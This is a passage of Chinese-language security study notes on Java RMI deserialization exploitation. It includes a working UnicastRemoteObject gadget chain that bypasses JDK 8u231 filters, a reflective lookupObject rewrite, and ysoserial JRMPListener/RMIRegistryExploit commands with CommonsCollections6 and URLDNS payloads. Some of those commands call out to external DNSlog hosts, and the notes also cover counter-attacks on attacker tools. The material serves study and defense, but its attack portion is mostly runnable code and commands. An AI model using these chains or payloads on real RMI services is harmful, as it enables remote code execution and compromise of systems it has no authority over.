2、DGCImpl_Stub的dirty/clean中的DGCImpl_Stub::leaseFilter中增加反序列化白名单限制。
private static ObjectInputFilter.Status leaseFilter(ObjectInputFilter.FilterInfo var0) {
if (var0.depth() > (long)DGCCLIENT_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var1 = var0.serialClass();
if (var1 == null) {
return Status.UNDECIDED;
} else {
while(var1.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGCCLIENT_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}
var1 = var1.getComponentType();
}
if (var1.isPrimitive()) {
return Status.ALLOWED;
} else {
return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;
}
}
}
}
相当于:2个限制导致DGCImpl_Stub的readObject UnicastRef链无法用了。
如何绕过?blackhat2019中的答案:UnicastRemoteObject链。
利用链:
private static Object getUnicastRefObject2() throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 10999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
obj
);
Constructor constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
Field field = UnicastRemoteObject.class.getDeclaredField("ssf");
field.setAccessible(true);
field.set(unicastRemoteObject, serverSocketFactory);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(unicastRemoteObject);
byte[] result = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
// ✅
objectInputStream.readObject();
return unicastRemoteObject;
}
调用栈:
/**
* makeDirtyCall:381, DGCClient$EndpointEntry (sun.rmi.transport) // DGC dirty请求
* registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
* registerRefs:160, DGCClient (sun.rmi.transport)
* read:312, LiveRef (sun.rmi.transport) // 直接触发了UnicastRef链
* readExternal:489, UnicastRef (sun.rmi.server)
* readObject:455, RemoteObject (java.rmi.server)
* invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
* invoke:62, NativeMethodAccessorImpl (sun.reflect)
* invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
* invoke:498, Method (java.lang.reflect)
* invokeReadObject:1170, ObjectStreamClass (java.io)
* readSerialData:2178, ObjectInputStream (java.io)
* readOrdinaryObject:2069, ObjectInputStream (java.io)
* readObject0:1573, ObjectInputStream (java.io)
* defaultReadFields:2287, ObjectInputStream (java.io)
* readSerialData:2211, ObjectInputStream (java.io)
* readOrdinaryObject:2069, ObjectInputStream (java.io)
* readObject0:1573, ObjectInputStream (java.io)
* defaultReadFields:2287, ObjectInputStream (java.io)
* defaultReadObject:561, ObjectInputStream (java.io)
* readObject:234, UnicastRemoteObject (java.rmi.server) // TRIGGER HERE
* invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
* invoke:62, NativeMethodAccessorImpl (sun.reflect)
* invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
* invoke:498, Method (java.lang.reflect)
* invokeReadObject:1170, ObjectStreamClass (java.io)
* readSerialData:2178, ObjectInputStream (java.io)
* readOrdinaryObject:2069, ObjectInputStream (java.io)
* readObject0:1573, ObjectInputStream (java.io)
* readObject:431, ObjectInputStream (java.io)
* getUnicastRefObject2:73, RMIRegistryExploitBy8u231 (com.example.basicstudy.rmi)
* main:34, RMIRegistryExploitBy8u231 (com.example.basicstudy.rmi)
* */
问题是,通过重写后的lookup object 发给RMI时,没有触发UnicastRef链,没有调用到UnicastRemoteObject的readObject,而是直接调用了RemoteObject的readObject,调用栈如下:
readObject:424, RemoteObject (java.rmi.server) // different
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:122, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 851992001 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
原因:
为什么前面的RemoteObjectInvocationHandler没有这个问题?实际上调试var2拿到的是null,不会被替换。
解决办法:在lookupObject中的 writeObject时,反射修改enableReplace的值 为false:
public static Remote lookupObject(Registry registry, Object var1) throws Exception {
try {
RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
Reflections.setFieldValue(var3,"enableReplace",false); // here
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
ref.invoke(var2);
//处理返回信息的代码逻辑也可以删除
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
后续可复现成功。
调用栈:
resolveClass:203, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1868, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
executeCall:270, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server) // UnicastRef利用链
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy2 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server) // trigger here
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:122, RegistryImpl_Skel (sun.rmi.registry) // trigger here 直接在readObject中触发利用链
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 851992001 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
参考:
- https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1
- https://github.com/bit4woo/code2sec.com/blob/master/CVE-2017-3241%20Java%20RMI%20Registry.bind()%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md
- 利用链:https://github.com/bit4woo/ysoserial/blob/bit4woo/src/main/java/ysoserial/payloads/JRMPClient2.java
5、jdk >=8u241 修复
1、RegistryImpl_Skel 中lookup 强制获取string类型,而不是readObject。(让 重写的lookup失效了)
2、修复 UnicastRemoteObject链: RemoteObjectInvocationHandler#invokeRemoteMethod 在调用ref.invoke前检测Method对象表示方法所在类的Class对象(即这里Gadget chain中的RMIServerSocketFactory)是否实现了Remote接口。(让UnicastRemoteObject利用链失效)
RMI Registry反制 RMI Server ✅ (ysoserial反制)
参考:RMI反序列化及相关工具反制浅析 https://mp.weixin.qq.com/s/uZQJL_tKd_nwPvANIG6fWA
1)反制ysoserial
部署反制Server:
java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPListener 10099 URLDNS http://testycx-anti-client.d.s.dlsr.icu
攻击者:(被反制)
java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10099 URLDNS http://test.testycx.d.s.dlsr.icu
测试代码:
private static void test04AntiClient() {
try {
Registry registry = LocateRegistry.getRegistry(10999);
registry.list(); // bind同理
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
调用栈:
readObject:364, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport) // trigger here
invoke:379, UnicastRef (sun.rmi.server)
list:-1, RegistryImpl_Stub (sun.rmi.registry)
test04AntiClient:45, RMIClient (com.example.basicstudy.rmi)
main:38, RMIClient (com.example.basicstudy.rmi)
原理:客户端反序列化
2、反制RmiTaste
# SERVER
ysoserial ysoserial.exploit.JRMPListener 10999 CommonsCollections6 "open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator
# CLIENT
cd ~/Documents/Tech/Pentest/Tools/RmiTaste
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 10999
反制成功。
PS:enum模式拿不到需要的类,即使class给了也不行。
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
参考:
1、JAVA安全基础(四)-- RMI机制 https://xz.aliyun.com/t/9261 (基础文章,主要介绍了1)如何通过rmi client攻击一个rmi server,如果接口函数包含object参数;2)如何 RMIRegistryExploit如何通过 registry.bind来攻击RMI Registry)
2、https://hacktricks.boitatech.com.br/pentesting/1099-pentesting-java-rmi (todo)
3、针对RMI服务的九重攻击 https://xz.aliyun.com/t/7930、https://xz.aliyun.com/t/7932
代码:
1、RegistryImpl_Skel#dispatch -> bind/rebind : 对应registry攻击方法中的 server bind rebind恶意对象(RMIRegistryExploit)
2、DGCImpl_Skel#dispatch : clean/ditry: 对应客户端触发DGC(0为clean 1为dirty)(JRMPClient)
其他:
1、ysoserial中还有2个RMI相关的payload,简单记录用法
# 1. 开启JRMP监听端口 1199,后续可用
ysoserial ysoserial.payloads.JRMPListener 1199 > /tmp/ysoserial.payloads.JRMPListener1199.ser
# 2. 生成UnicastRef链的ysoserial.payloads.JRMPClient的payload,指定恶意的JRMP端口 (UnicastRef链)
# 准备工作 java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 "open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"
ysoserial ysoserial.payloads.JRMPClient 127.0.0.1:10999 > /tmp/ysoserial.payloads.JRMPClient10999.ser
# Exploit
exploit.JRMPClient DGC请求打RMIRegistry,对应 RMIRegistry中的1.2
exploit.JRMPListener JRMP Listener,打DGCStub 客户端 对应UnicastRef链中的
2、jdk动态代理:unicastref、unicastremoteObject 原理分析
3、RmiTaste等
4、如何看RMI端口查看注册的信息? nmap 127.0.0.1 -p 1099 -A
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
1099/tcp open java-rmi Java RMI
| rmi-dumpregistry:
| Hello
| implements java.rmi.Remote, com.example.basicstudy.rmi.Hello,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @<ip>:49525
| extends
|_ java.rmi.server.RemoteObject
5、归档情况:【代码✅】【笔记&drawio&xmind✅】【ppt✅】【视频】